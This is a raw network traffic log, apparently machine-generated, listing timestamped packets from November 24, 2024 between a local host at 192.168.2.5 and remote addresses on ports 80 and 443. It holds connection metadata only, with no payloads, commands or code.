Nov 24, 2024 23:24:38.993705988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.993758917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.994368076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.994420052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.994463921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.994508982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.995182037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.995229959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.995346069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.995393038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.995995045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.996043921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.996100903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.996150970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.996800900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.996859074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.996917963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.996964931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.997622013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.997678041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.997744083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.997853994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.998435974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.998502016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.998579025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.998729944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.999252081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.999320030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.999356985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.999469995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.000031948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.000097990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.000112057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.000159979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.000838041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.000910997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.000962973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.001012087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.001744032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.001756907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.001801014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.001827002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.002470016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.002532959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.002597094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.002660990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.003283024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.003331900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.003379107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.004093885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.004162073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.004199982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.004240990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.004899025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.004956961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.005012035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.005074024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.005737066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.005789995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.005881071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.005971909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.006551981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.006603956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.006648064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.006692886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.007330894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.007384062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.007427931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.007473946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.008220911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.008271933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.008349895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.008430004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.008980036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.009031057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.009094954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.009239912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.009824038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.009876966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.009922981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.009969950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.010606050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.010653019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.010802984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.010855913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.011408091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.011575937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.011580944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.011624098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.012198925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.012264013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.012336969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.012414932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.013001919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.013094902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.013127089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.013179064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.013834000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.013891935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.014030933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.014098883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.014635086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.014695883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.014734030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.014780045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.015436888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.015500069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.015542984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.015588999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.016247988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.016324043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.016354084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.016410112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.017055035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.017117977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.017160892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.017204046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.017863989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.017973900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.017987967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.018038034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.018672943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.018754005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.018779993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.018838882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.019495964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.019622087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.019622087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.019664049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.025665045 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.026364088 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.026379108 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.026838064 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.026844025 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.102844000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.102952957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.102979898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.103032112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.103270054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.103352070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.103379011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.103399038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.104083061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.104141951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.104228020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.104273081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.104866982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.104918957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.128818035 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.130132914 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.130148888 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.131086111 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:39.131091118 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:39.142247915 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.142282009 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.142359018 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.142370939 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.145944118 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.146207094 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.148092985 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.148121119 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.148190022 CET	49831	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.148232937 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.148302078 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.148359060 CET	49831	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.163497925 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.163507938 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.163975000 CET	49850	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.164025068 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.164143085 CET	49850	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.164376020 CET	49831	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.164406061 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.164660931 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.164714098 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.164783955 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.165193081 CET	49850	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.165211916 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.165498018 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.165529966 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.167493105 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.167522907 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.167584896 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.167596102 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.168606997 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.168688059 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.172923088 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:39.172935963 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:39.181570053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.181667089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.181694984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.181754112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.181978941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.182044983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.182121992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.182224035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.182765961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.182868958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.182955027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.183562994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.183659077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.183669090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.183716059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.184365988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.184438944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.184474945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.184520006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.185205936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.185271978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.185342073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.185445070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.186022997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.186074972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.186085939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.186116934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.186805010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.186872005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.186914921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.186966896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.187619925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.187686920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.187733889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.187864065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.188431978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.188545942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.188605070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.189260960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.189330101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.189429045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.189474106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.190021992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.190073967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.190134048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.190176010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.190862894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.190996885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.191054106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.191673040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.191728115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.191756010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.191800117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.192467928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.192523956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.192569971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.192612886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.193272114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.193326950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.193412066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.193567991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.194144964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.194202900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.194206953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.194248915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.194889069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.194938898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.194977999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.195024014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.195698977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.195801973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.195817947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.195867062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.196508884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.196566105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.196566105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.196609020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.197346926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.197406054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.197444916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.197493076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.198122978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.198177099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.198251009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.198448896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.198973894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.199028969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.199070930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.199115038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.199758053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.199814081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.199858904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.199924946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.200566053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.200628042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.200669050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.200820923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.201374054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.201488972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.201539993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.202239037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.202303886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.202342987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.202390909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.203005075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.203073025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.203116894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.203160048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.203819036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.203893900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.203928947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.204066038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.204646111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.204715967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.204840899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.204886913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.205431938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.205498934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.205526114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.205579996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.206274986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.206341982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.206409931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.206482887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.207062006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.207120895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.207142115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.207186937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.207861900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.207932949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.207981110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.208026886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.208715916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.208842993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.208900928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.209525108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.209575891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.209639072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.209870100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.210323095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.210396051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.210454941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.211157084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.211227894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.211272001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.211385012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.212049007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.212121010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.212122917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.212161064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.212745905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.212805986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.212867022 CET	80	49760	185.215.113.206	192.168.2.5
